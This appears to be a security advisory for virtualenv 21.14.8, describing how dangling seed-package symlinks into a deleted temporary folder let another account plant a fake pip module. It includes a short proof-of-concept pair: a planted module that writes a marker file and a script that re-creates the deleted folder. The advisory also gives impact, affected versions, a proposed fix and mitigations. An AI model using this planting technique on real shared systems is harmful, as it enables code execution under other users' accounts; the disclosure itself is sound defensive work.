Details
`repro.d/fake_pip.py`
# planted as pip/__init__.py: runs in whichever process imports pip
import os
import sys
with open(os.path.join(sys.prefix, "attacker-code-ran"), "w") as proof:
proof.write(f"{os.path.realpath(__file__)}, owned by uid {os.stat(__file__).st_uid}, was imported by uid {os.getuid()}")
sys.exit("this is not pip")
`repro.d/plant_fake_pip.py`
import os
import shutil
import sys
from pathlib import Path
dangling_link = sys.argv[1] # the environment is world-readable, so anyone can read where its links go
deleted_folder = Path(os.readlink(dangling_link))
# virtualenv deleted /tmp/tmpXXXXXXXX when it exited, so the name is free for anyone to take
deleted_folder.mkdir(parents=True)
shutil.copy(Path(__file__).with_name("fake_pip.py"), deleted_folder / "__init__.py")
Impact
Seed packages become unavailable after temporary-cache cleanup. With a shared temporary-directory parent, a later
package load can follow the stale cache reference into a pathname another account has acquired. A private
temporary-directory parent prevents that cross-account condition.
Severity: low.
Versions tested
The reproduced release is 21.14.8. The vulnerable seeder path is unchanged in 21.14.9. The affected range starts at
21.14.8, the first release confirmed here; earlier releases may also be affected. No fixed release is available.
The reporter identifies 20.0.6 as the first affected release. Commit
c3453b6c, first included in
20.0.6, contains the incomplete transient-cache guard. Historical runtime behavior across that range remains unverified.
The proposed fix copies seed packages whenever app-data is temporary, including when symlink seeding was selected
through environment variables or configuration. The environment then remains usable after cache cleanup.
Proposed fix: PR #3437.
Known mitigation
The proposed fix is in public PR #3437.
The fix checks the selected app-data lifetime in the seeder constructor and always copies from temporary app-data,
regardless of where the symlink option came from. Persistent caches retain symlink seeding.
Until a fixed release is available, disable symlink seeding in configuration and environment variables, or provide a
writable persistent cache private to the environment owner. Recreate affected environments after correcting those
settings. No fixed release is available yet.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8. The same vulnerable code remains in 21.14.9.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-ZOE2GEPC.